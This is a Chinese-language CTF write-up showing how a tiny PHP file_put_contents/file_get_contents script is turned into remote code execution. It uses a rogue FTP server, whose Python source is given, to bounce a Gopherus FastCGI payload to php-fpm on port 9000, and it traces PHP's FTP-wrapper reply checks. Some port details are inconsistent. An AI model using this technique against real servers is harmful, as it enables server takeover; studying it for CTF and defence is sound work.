题目连接:https://2020.ctf.link/internal/challenge/cb926472-66b2-4212-af86-b4aaf675d6ea/
这个题我感觉很有意思,网上没有找到wp,所以来写一下wp,题目给了环境,可以注意到给的www.conf里的fpm是监听的9000端口,也就是和之前遇到的一些fastcgi的攻击有关
题目也非常简单,代码就5行,就file_put_contents
和file_get_contents
,这个有什么办法可以rce吗?仅仅从php的代码来看,看不出什么漏洞,那就只有看看php的源代码了
<?php
$file = $_GET['file'] ?? '/tmp/file';
$data = $_GET['data'] ?? ':)';
file_put_contents($file, $data);
echo file_get_contents($file);
解题
这里先给出poc和利用方法,第一步先生成fastcgi的攻击poc:
第二步在自己服务器上面搭好恶意的ftp服务并且监听2333端口:
import socket
host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)
conn, address = sk.accept()
conn.send("200 \n")
print '200'
print conn.recv(20)
conn.send("200 \n")
print '200'
print conn.recv(20)
conn.send("200 \n")
print '200'
print conn.recv(20)
conn.send("300 \n")
print '300'
print conn.recv(20)
conn.send("200 \n")
print '200'
print conn.recv(20)
print "ck"
conn.send("227 127,0,0,1,8,6952\n")
print '200'
print conn.recv(20)
conn.send("150 \n")
print '150'
print conn.recv(20)
conn.close()
exit()
第三步发送整体的payload得到flag,这里的payload是gopherus生成的poc从gopher://127.0.0.1:9000/_之后开始取的:
分析做题的过程和思路
现在来分析一下php的源码吧,调试php的c源码这个应该都没有问题,直接从ftp协议解析的地方开始,我选择的是在window下面附加到php的http服务,下面是index.php的代码
然后分析走到ftp协议时可以干一些什么,首先断点在连接tcp之后,在tcp连接成功后,他会得到服务端的返回内容,如果内容是200到299直接就不会报错,所以我们恶意服务器就返回满足他的条件的值就行
这里也就是为什么要是200 \n
了,第4个字符必须得是空格才会结束不然就一直循环了
然后也就到了第二个判断,这里判断是否会有密码,但是也必须是200到299,所以我们为200也可以过
第四个判断就得300了,因为allow_overwrite
不为真
就到了第五个判断了,这次就得为200,不然就会进入ipv6的解析
第六个判断了,这次就得为227并且后面得有符合条件的字符串,因为他会把后面的字符串解析为ip和端口
这也是为什么poc里面的是,
为ip地址的分隔,先解析ip,得到ip为127.0.0.1
然后就会把写入的句柄交到新的tcp连接上面,剩下的就是一气呵成了,然后就可以看到我们收到的数据和file_put_contents
里面写入的一样